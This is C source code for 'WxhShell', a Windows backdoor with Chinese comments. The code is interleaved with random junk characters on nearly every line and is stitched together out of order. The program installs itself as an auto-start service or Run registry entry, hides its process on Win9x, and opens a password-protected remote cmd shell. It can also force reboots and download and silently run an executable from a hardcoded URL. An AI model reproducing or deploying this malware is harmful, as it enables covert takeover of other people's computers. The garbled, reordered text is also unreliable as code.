    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9};8?mucr  
    if(Boot(SHUTDOWN)) yu|8_<bq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FUb\e-Q=  
    else { +Q)XH>jh   
    closesocket(wsh); !zpRrx_  
    ExitThread(0); 'ya{9EdlT  
    } yYYSeH  
    break; ^*Q ?]N  
    } 7"x;~X  
  // 获取shell )m)-o4c  
  case 's': { xml7Uarc  
    CmdShell(wsh); |F[+k e  
    closesocket(wsh); -20bPiM$A  
    ExitThread(0); hEH?[>9  
    break; s`8= 3]w  
  } #L;dI@7C  
  // 退出 9T9!kb  
  case 'x': { 5 PJhEB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }C?'BRX  
    CloseIt(wsh); 4f@rv^f(X  
    break; n'LrQU  
    } gPO}d  
  // 离开 ((;!<5-`s  
  case 'q': { Eyqa?$R  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @n /nH?L  
    closesocket(wsh); 'sKk"bi;0  
    WSACleanup(); $( kF#  
    exit(1); "|q& ea rc  
    break; #q$HQ&k  
        } ZJJY8k `  
  } hWLA<wdb  
  } lgy <?LI\  
!i}w~U<  
  // 提示信息 8/cX]J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5Ln,{vsv  
} G~[x 3L'  
  } 1n8/r}q'H  
&wawr2)}  
  return; Q"d^_z ]K  
} &PHTpkaam  
Bm<`n;m  
// shell模块句柄 ltSU fI  
int CmdShell(SOCKET sock) ,w4(kcg%iQ  
{ : *#-%0  
STARTUPINFO si; o5PO =AN  
ZeroMemory(&si,sizeof(si)); rXP,\ ]r+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AV]2 euyn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; my1@41 H  
PROCESS_INFORMATION ProcessInfo; l|[N42+  
char cmdline[]="cmd"; *:7rdzn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cqkV9f8Ro  
  return 0; V2EUW!gn 2  
} !9e=_mY  
~G&dqw/.-U  
// 自身启动模式 `/+>a8  
int StartFromService(void) \*?~Yj #  
{ Ic<2QknmP  
typedef struct Wvh#:Z  
{ _ 4~+{l+  
  DWORD ExitStatus; Q3~H{)[Kq  
  DWORD PebBaseAddress; Nh|uO?&C6  
  DWORD AffinityMask; ; DR$iH-F  
  DWORD BasePriority; t{9GVLZ  
  ULONG UniqueProcessId; \V63qg[  
  ULONG InheritedFromUniqueProcessId; g:@#@1rB6  
}   PROCESS_BASIC_INFORMATION; oZgjQM$YP  
_jVN&\A]mC  
PROCNTQSIP NtQueryInformationProcess; ^{`exCwM x  
.~;\eW[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?l{nk5,?-Y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5C ]x!>kX  
$a]`nLUa  
  HANDLE             hProcess; !;A\.~-!G  
  PROCESS_BASIC_INFORMATION pbi; %sP*=5?vA  
q?yVR3]M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H*R"ntI?w  
  if(NULL == hInst ) return 0; }($5k]]clP  
IEi^kJflU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uGGt\.$]s  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #trK^(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (?c"$|^J  
Btn?N  
  if (!NtQueryInformationProcess) return 0; 7n<{tM  
!Ai@$tl[S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j,eo2HaL  
  if(!hProcess) return 0; Zu[su>\  
_V6ukd"B~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; b8UO,fY q  
wn%A4-%{  
  CloseHandle(hProcess); p6V0`5@t  
$6 f3F?y7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1GcE) e!>  
if(hProcess==NULL) return 0; TD0 B%  
/([kh~a  
HMODULE hMod; ;)*eo_tQ  
char procName[255]; %tGO?JMkd  
unsigned long cbNeeded; ^yp{32  
N4!O.POP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ti5-6%~&  
6 H$FhJF  
  CloseHandle(hProcess); -Q*gW2KmV  
oMa6(3T?E  
if(strstr(procName,"services")) return 1; // 以服务启动 I\ob7X'Xu!  
4D4j7  
  return 0; // 注册表启动 Y:[u1~a  
} u*`GiZAO  
8l rpve  
// 主模块 #X1ND  
int StartWxhshell(LPSTR lpCmdLine) |Rk@hzM2S  
{ 0GeTS Fj  
  SOCKET wsl; ZFL~;_r  
BOOL val=TRUE; )y$(AJx$  
  int port=0; #"~<HG}bR/  
  struct sockaddr_in door; y<Ot)fa$  
F]&*o w  
  if(wscfg.ws_autoins) Install(); +mn[5Y}:  
g($2Dk_F2  
port=atoi(lpCmdLine); NBGH_6DROw  
e\L8oOk#r  
if(port<=0) port=wscfg.ws_port; z Iu'[U  
?e 4/p  
  WSADATA data; }|=|s f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rx|pOz,:  
4V`G,W4^J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5.GR1kl6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'H;*W|:-]  
  door.sin_family = AF_INET; evmeqQG=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Avb\{)s+  
  door.sin_port = htons(port); G 3ptx! D  
JWxwJex  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gPPkT"  
closesocket(wsl); RA L~!"W  
return 1;  @q) d  
} P&Vv/D  
j8sH|{H!Nq  
  if(listen(wsl,2) == INVALID_SOCKET) { wibNQ`4k  
closesocket(wsl); cvL;3jRo  
return 1; s~X%Y<9l  
} =I_'.b  
  Wxhshell(wsl); cr;da)  
  WSACleanup(); tCt#%7J;a  
eaU  
return 0; p`qgrI`  
?:0Jav  
} sYA1\YIii  
BI@[\aRLQ  
// 以NT服务方式启动 $ I?"lky  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >A"(KSNL  
{ pQB."[n  
DWORD   status = 0; y6BAH  
  DWORD   specificError = 0xfffffff; V0mn4sfs  
Ny/MJ#Lq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Mi_$">1-W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )^hbsMhO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?S=mybp  
  serviceStatus.dwWin32ExitCode     = 0; (TM,V!G+U~  
  serviceStatus.dwServiceSpecificExitCode = 0; C0Z=~Q%  
  serviceStatus.dwCheckPoint       = 0; [:*)XeRK  
  serviceStatus.dwWaitHint       = 0; _+MJ%'>S  
GM<9p_ B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _Fg5A7or  
  if (hServiceStatusHandle==0) return; Y'X%Aw;`  
hDGF7  
status = GetLastError(); >H ,*H;6  
  if (status!=NO_ERROR) owv[M6lbD  
{ ^-'fW7[m  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; wMN]~|z>  
    serviceStatus.dwCheckPoint       = 0; &K,i f  
    serviceStatus.dwWaitHint       = 0; R4d=S4 i  
    serviceStatus.dwWin32ExitCode     = status; Tlr v={  
    serviceStatus.dwServiceSpecificExitCode = specificError; Xch~ 1K  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .=; ;  
    return; )V9bI(v  
  } lp8v0e4  
dj%!I:Q>u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W2!+z{:m  
  serviceStatus.dwCheckPoint       = 0; A3*!"3nU  
  serviceStatus.dwWaitHint       = 0; X@FN|Rdh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8 Fbo3  
} hi[pVk~B)  
5!9zI+S|=`  
// 处理NT服务事件,比如:启动、停止 Flb&B1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xgtR6E^k  
{ EoDA]6?Lj  
switch(fdwControl) -UT}/:a  
{ O#r%>;3*  
case SERVICE_CONTROL_STOP: &)<)^.@3G^  
  serviceStatus.dwWin32ExitCode = 0; &%Tj/Qx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V(*(F7+  
  serviceStatus.dwCheckPoint   = 0; cB&:z)i4  
  serviceStatus.dwWaitHint     = 0; zbPqYhJzA  
  { RD&PDXT4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z3!`J&  
  } apxph2yvS  
  return; u]@['7  
case SERVICE_CONTROL_PAUSE: wz8yD8M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^<AwG=  
  break; +"VP-s0  
case SERVICE_CONTROL_CONTINUE: +"@ .8m  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (7*}-Uy[C  
  break; =tY T8Q;al  
case SERVICE_CONTROL_INTERROGATE: |Q>IrT  
  break; 9&NgtZpt  
}; ~Cjn7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a[TMDU;(/4  
} T[j,UkgGo  
u#SWj,X  
// 标准应用程序主函数 k VQ\1!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Aiea\j Bv  
{ Wm5 dk9&x  
rVsJ`+L  
// 获取操作系统版本 <54 S  
OsIsNt=GetOsVer(); Rx}Gz$   
GetModuleFileName(NULL,ExeFile,MAX_PATH); vr^qWn  
,Y48[_ymm  
  // 从命令行安装 Du){rVY^d  
  if(strpbrk(lpCmdLine,"iI")) Install(); sx<%2  
<0?W{3NqI  
  // 下载执行文件 DlNX 3  
if(wscfg.ws_downexe) { igAtRX%Qx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _J[P[(ab  
  WinExec(wscfg.ws_filenam,SW_HIDE); xkR0  
} hR|MEn6KC  
>F&47Yn  
if(!OsIsNt) { 1aABzB ^  
// 如果时win9x,隐藏进程并且设置为注册表启动 wlmRe`R  
HideProc(); {]|J5Dgfe  
StartWxhshell(lpCmdLine); m j@13$=  
} 5/z/>D;  
else X[TR3[1}  
  if(StartFromService()) {1 94!S4z  
  // 以服务方式启动 0qT%!ku&  
  StartServiceCtrlDispatcher(DispatchTable); Wo ,?+I  
else 29q _BR *:  
  // 普通方式启动 ~F7gP{r  
  StartWxhshell(lpCmdLine); ^G-@06/!  
dC4'{ n|7  
return 0; Ecx<OTo  
} WMP,\=6k0  
,6W>can  
HUOj0T  
B?o7e<l[  
=========================================== Xb,3Dvf  
BFW&2  
+d-NL?c  
yR.Ong  
76` .Y  
,,|^%Ct']  
" ei5~&  
n?K  
#include <stdio.h> z&^&K}  
#include <string.h> k-""_WJ~^  
#include <windows.h> C"]^Q)aJN  
#include <winsock2.h> sUm'  
#include <winsvc.h> W+1^4::+  
#include <urlmon.h> B,fo(kG  
FU<Jp3<%  
#pragma comment (lib, "Ws2_32.lib") XBw)H  
#pragma comment (lib, "urlmon.lib") S#[j )U-  
:p6M=  
#define MAX_USER   100 // 最大客户端连接数 %;"y+YFdv  
#define BUF_SOCK   200 // sock buffer FNId ;  
#define KEY_BUFF   255 // 输入 buffer ]jRfH(i  
o,3a4nH;  
#define REBOOT     0   // 重启 8sK9G` k  
#define SHUTDOWN   1   // 关机 PE5G  
{cw /!B  
#define DEF_PORT   5000 // 监听端口 k.15CA`  
#yvGK:F  
#define REG_LEN     16   // 注册表键长度 cPc</[x[W  
#define SVC_LEN     80   // NT服务名长度 _n\GNUA  
5QO9Q]I#_\  
// 从dll定义API ~.lPEA %%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xA[mm  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q.c\/&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ROZF)|l  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w.-!UD9/.x  
*G 9V'9  
// wxhshell配置信息 k+l b@!  
struct WSCFG { 9k[9P;"F:  
  int ws_port;         // 监听端口 XHGFf_kW_N  
  char ws_passstr[REG_LEN]; // 口令 LB?u8>a' I  
  int ws_autoins;       // 安装标记, 1=yes 0=no %GIr&V4|  
  char ws_regname[REG_LEN]; // 注册表键名 -;k+GrLr^  
  char ws_svcname[REG_LEN]; // 服务名 "Os_vlapHo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xFg>SJ7]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 u,Kly<0j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S?BG_J6A7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c-FcEW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ef13Q]9|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0S$N05  
=zs`#-^8  
}; n>U5R_T  
2jCfT>`3  
// default Wxhshell configuration KdbHyg<4  
struct WSCFG wscfg={DEF_PORT, H~z`]5CN  
    "xuhuanlingzhe", PRE|+=w$  
    1, VBcPu  
    "Wxhshell", QUQ'3  
    "Wxhshell", `,*5wBC  
            "WxhShell Service", 1D!<'`)AY  
    "Wrsky Windows CmdShell Service", # c^z&0B}  
    "Please Input Your Password: ", WvZ8/T'x  
  1, }|5Pr(I  
  "http://www.wrsky.com/wxhshell.exe", c_!cv":s  
  "Wxhshell.exe" 4#hSJ(~7S  
    }; gt w Q-  
)B8$<sv  
// 消息定义模块 r^ ZEImjc  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lBGQEP3;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .y:U&Rw4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; mBON$sF|  
char *msg_ws_ext="\n\rExit."; b<gr@WF  
char *msg_ws_end="\n\rQuit."; >!)DM]Ri  
char *msg_ws_boot="\n\rReboot..."; G[q$QB+  
char *msg_ws_poff="\n\rShutdown..."; `%WU8Yv  
char *msg_ws_down="\n\rSave to "; cD'V>[h  
2WYPO"q  
char *msg_ws_err="\n\rErr!"; fvxu#m=  
char *msg_ws_ok="\n\rOK!"; :tv,]05t  
>`ZyG5  
char ExeFile[MAX_PATH];  | (_  
int nUser = 0; HT1!5  
HANDLE handles[MAX_USER]; \=0Vi6!Mc  
int OsIsNt; x{ WD;$J  
"wh , Ue  
SERVICE_STATUS       serviceStatus; fPW@{~t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0v$~90)  
K0Fh%Y4)QH  
// 函数声明 s.NGA.]$  
int Install(void); WaR`Kp+>  
int Uninstall(void); #$qTFN  
int DownloadFile(char *sURL, SOCKET wsh); \6*I'|5 d  
int Boot(int flag); hTi$.y!k  
void HideProc(void); Ck7uJI<x  
int GetOsVer(void); pBA7,z"`mP  
int Wxhshell(SOCKET wsl); ~Vjl7G\7i  
void TalkWithClient(void *cs); q.`NtsW!\+  
int CmdShell(SOCKET sock); k7A-J\  
int StartFromService(void); x{/g(r={}  
int StartWxhshell(LPSTR lpCmdLine); 5iyd Z  
 zi`o#+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Czu\RXJR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8StgsM  
_/5H l`  
// 数据结构和表定义 Pw!MS5=r  
SERVICE_TABLE_ENTRY DispatchTable[] = Otm0(+YB 7  
{ -Wi` G  
{wscfg.ws_svcname, NTServiceMain}, [Nbm|["q~  
{NULL, NULL} scLll,~  
}; BbS4m  
l3F6AlPql  
// 自我安装 j^rIH#V   
int Install(void) s( q_ o  
{ $43qME  
  char svExeFile[MAX_PATH]; &m:uO^-D  
  HKEY key; /{--+ C  
  strcpy(svExeFile,ExeFile); >]5P 3\AQV  
W#WVfr  
// 如果是win9x系统,修改注册表设为自启动 Sa;qW3dt3E  
if(!OsIsNt) { tS8u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { **gXvTqI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o"R7,N0rB  
  RegCloseKey(key); LW_ f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MfQ?W`Kop  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )iK6:s #  
  RegCloseKey(key); pOG1jI5<{8  
  return 0; Lrq .Ab#  
    } m#Z# .j_2  
  } Is?La  
} 9ahWIO %  
else { j+v=Ul|l  
[!]2 djc  
// 如果是NT以上系统,安装为系统服务 L"*/:$EJL.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O~K>4 ax  
if (schSCManager!=0) gi _5?$  
{ ` 3K)GA  
  SC_HANDLE schService = CreateService EV@X*| w  
  ( V~;1IQd{  
  schSCManager, u-G+ j)  
  wscfg.ws_svcname, GKc`xIQ  
  wscfg.ws_svcdisp, l u%}h7ng  
  SERVICE_ALL_ACCESS, >{J(>B\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :mn>0jK,N  
  SERVICE_AUTO_START, Cg?&wj<  
  SERVICE_ERROR_NORMAL, d;9FB[MmOJ  
  svExeFile, ls:w8 &`*  
  NULL, ~d*(=G  
  NULL, {v ;&5!s  
  NULL, o:P}Wg/NK  
  NULL, .rqhi  
  NULL @>>~CZ`l  
  ); +jnJ|h({  
  if (schService!=0) JKmIvZ)8  
  { r{I% \R!@  
  CloseServiceHandle(schService); {vyv7L  
  CloseServiceHandle(schSCManager); )6,=f.%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); } .y 1;.  
  strcat(svExeFile,wscfg.ws_svcname); .I0qGg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Jk=I^%~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <oA7'|Bu<  
  RegCloseKey(key); 2OR{[L*  
  return 0; 1--C~IjJ+  
    } A='N=^Pm  
  } y^v6AM  
  CloseServiceHandle(schSCManager); 0rG^,(3m  
} ?8Z0Gqt74  
} .-oxb,/  
?FF4zI~  
return 1; kw %};;  
} "PTZ%7YH}  
(~wqa 3  
// 自我卸载 X1-'COQS%&  
int Uninstall(void) g+>(dnX  
{ kN4{13Qs*  
  HKEY key; 64G[|" j D  
k" PayyAC  
if(!OsIsNt) { ?3zc=J"t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \VyZ  
  RegDeleteValue(key,wscfg.ws_regname); "8^ Ch{G-  
  RegCloseKey(key); v)t:|Q{I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OJ5#4qJ[  
  RegDeleteValue(key,wscfg.ws_regname); <;m<8RjX  
  RegCloseKey(key); r@t9Ci=}  
  return 0; _zn.K&I-*k  
  } *<jAiB ,O*  
} Q1 $^v0-)  
} {NFr]LGOp  
else { @ljA  
"wn zo,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h"_;IUZ!  
if (schSCManager!=0) yt=3sq  
{ :LRYYw  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  SVs_dG$  
  if (schService!=0) 6NM:DI\%  
  { !y:v LB#q  
  if(DeleteService(schService)!=0) { ^2on.N q>  
  CloseServiceHandle(schService); F9E<K]7K  
  CloseServiceHandle(schSCManager); n; +LH9  
  return 0; Hmd] FC,_  
  } b#toM';T  
  CloseServiceHandle(schService); X#TQ_T"  
  } _%!c+f7  
  CloseServiceHandle(schSCManager); * @v)d[z_  
} QWSTR\!  
} .C( eh   
UT=tT )4b  
return 1; F{Jw ^\  
} nvJf/90$  
]?+p5;{y4  
// 从指定url下载文件 !K}~/9Z=m  
int DownloadFile(char *sURL, SOCKET wsh) JedmaY06=  
{ L> 9V&\  
  HRESULT hr; 8WbgSY`  
char seps[]= "/"; &d+Kg0:  
char *token; 0y;*Cfi9  
char *file; )Sg~[WxDv  
char myURL[MAX_PATH]; hj B@o#S  
char myFILE[MAX_PATH]; dWUm\t'#  
~&8^9E a  
strcpy(myURL,sURL); 4c$ zKqz  
  token=strtok(myURL,seps); 4UlyxA~   
  while(token!=NULL) YoZFwRQU  
  { r(aLEJ"u?  
    file=token; A3no~)wZn  
  token=strtok(NULL,seps); M/ni6%x  
  } Jz.NHiLct1  
v~V5`%  
GetCurrentDirectory(MAX_PATH,myFILE); %Yicg6:  
strcat(myFILE, "\\"); CBOi`bEf  
strcat(myFILE, file); + SFVv_n  
  send(wsh,myFILE,strlen(myFILE),0); I)cFG{~L  
send(wsh,"...",3,0); Hh-+/sO~"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %?uc><&?e  
  if(hr==S_OK) ;WM"cJo9  
return 0; {VvqO7A  
else cU@SIJ)  
return 1; [}/LD3  
[t7]{d*  
} i2YuOV!  
Q}K#'Og  
// 系统电源模块 \h DdU+  
int Boot(int flag) z4+k7a@jn  
{ [16cFqD  
  HANDLE hToken; T:Hr&ws4  
  TOKEN_PRIVILEGES tkp; <2|O:G  
Q6AC(n@:FV  
  if(OsIsNt) { 8XzR wYV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wztA3ZL*W1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H!nr^l'+  
    tkp.PrivilegeCount = 1; `m>*d!h=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :x{NBvUIc  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S\5bmvqP"  
if(flag==REBOOT) { B}?5]N==]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ( Qcp{q  
  return 0; ~ ! 3I2  
} " '6;/N  
else { qg!|l7e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Bck7\  
  return 0; m~Bl*`~M  
} }L3oR  
  } ]Nl=wZ#`  
  else { f3{MvAy[  
if(flag==REBOOT) { :Jy'# c  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C] 9 p5Hs  
  return 0; U{z9>  
} *@Y3oh}S  
else { 6s\Kt3=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M^iU;vo  
  return 0; RIE5KCrGB  
} iz?tu: \v&  
} /yF QeE  
jhu&& ==\f  
return 1; CkD#/  
} ;SaX;!`39+  
Y&_&s7z  
// win9x进程隐藏模块 NqEA4C  
void HideProc(void) ?jt}*q>X]  
{ &A)B~"[~  
A~ +S1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s]mY*@a%  
  if ( hKernel != NULL ) Yd=a}T  
  { 9^Whg ~{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >teO m?@U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \ZhfgE8{%  
    FreeLibrary(hKernel); ~r$jza~o(  
  } $m+sNEAa  
UIAj]  
return; x-<)\L&  
} 9Xl5@%uz?z  
& jczO-R^  
// 获取操作系统版本 +|@rD/I6  
int GetOsVer(void) l)w Hl%p  
{ J.dLPKU;-  
  OSVERSIONINFO winfo; DUe&r,(4O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E)7F\w  
  GetVersionEx(&winfo); S:q3QgU=X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .G(llA}  
  return 1; f0<%&2ym  
  else ]oV{t<0a  
  return 0; QgD g}\P  
} nJ"YIT1K]p  
]%Nlv(  
// 客户端句柄模块 H_Kj7(=&>  
int Wxhshell(SOCKET wsl) nF4a-H&Fo  
{ .OqSch|  
  SOCKET wsh; Qb; d:@9  
  struct sockaddr_in client; xIGfM>uq  
  DWORD myID; ''^Y>k  
"/6:6`J  
  while(nUser<MAX_USER) =w5O&(  
{ U_$qi  
  int nSize=sizeof(client); @~"an qT`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hf<^/@^tK  
  if(wsh==INVALID_SOCKET) return 1; mVsIAC$}8  
drd/jH&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )r z+'|,  
if(handles[nUser]==0) *"98L+  
  closesocket(wsh); >,gvb5  
else =rQP[ICs!  
  nUser++; -}4NT{E  
  } HCJ>X;(`f?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f%)zg(YlO  
$GQ-(/  
  return 0; KdUnD4d  
} -:9P%jWt  
ww{_c]My  
// 关闭 socket CWG6;NT6m  
void CloseIt(SOCKET wsh) wHv]ViNvXE  
{ 3bd5FsI^pU  
closesocket(wsh); |R@~-Ht  
nUser--; ~h=X8-D  
ExitThread(0); je4w=]JV  
} tpEI(9>  
5P+t^\  
// 客户端请求句柄 :@xm-.D  
void TalkWithClient(void *cs) IU]^&e9u  
{ <uk1?Q g  
)wtaKF.-  
  SOCKET wsh=(SOCKET)cs; ;.Ie#Vr1N  
  char pwd[SVC_LEN]; -MugnB6  
  char cmd[KEY_BUFF]; u=NS sTP&  
char chr[1]; j9U%7u]-k  
int i,j; qXW})(  
8dOo Q  
  while (nUser < MAX_USER) { =GBI0&U  
z6~ H:k1G%  
if(wscfg.ws_passstr) { XJ+6FT/qss  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %77p5ctW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @[?!s%*2  
  //ZeroMemory(pwd,KEY_BUFF); nGf);U#K  
      i=0; &Q=ZwC7#  
  while(i<SVC_LEN) { omf  Rs  
cZ+7.oDu  
  // 设置超时 yag}fQ(XH  
  fd_set FdRead; GOB(#vu  
  struct timeval TimeOut; !epgTN  
  FD_ZERO(&FdRead); HXVBb%pP  
  FD_SET(wsh,&FdRead); L]hXp t  
  TimeOut.tv_sec=8; W*:,m8wk  
  TimeOut.tv_usec=0; tPyyZ#,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); desThnT w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,kp\(X[J  
=AEz9d ciS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eL.7#SIr}  
  pwd=chr[0]; HFQR ;9]  
  if(chr[0]==0xd || chr[0]==0xa) { rJ'I>Q~x6  
  pwd=0; O^I[ (8Y8  
  break; }2r+%V&4  
  }  5q<zN  
  i++; ^Ori| 4}'  
    } l  n }}5Q  
DrvtH+e  
  // 如果是非法用户,关闭 socket m:O(+Fl  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y8bM<e2 U  
} {,j6\Cj4  
Pe~`16f  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k)FmDX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kF V7l  
6Bm9?eU0  
while(1) { 6`"M  
SnTDLa  
  ZeroMemory(cmd,KEY_BUFF); Qc{RaMwD  
+ f;CyMEp  
      // 自动支持客户端 telnet标准   kao}(?x%  
  j=0; +>g`m)?p  
  while(j<KEY_BUFF) { =KX<_;E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nxap\Lf  
  cmd[j]=chr[0]; $ Cjk  
  if(chr[0]==0xa || chr[0]==0xd) { FkupO I  
  cmd[j]=0; AdoZs8Q  
  break; w, jcm;  
  } D~&Mwsi  
  j++; iY/KSX^~O  
    } o8FXqTUcs4  
k6?cP0I)5  
  // 下载文件 <<|H=![  
  if(strstr(cmd,"http://")) { qq0?e0H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y &r]lD  
  if(DownloadFile(cmd,wsh)) h#Ce_,o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); lZt(&^T  
  else 3|@t%K  
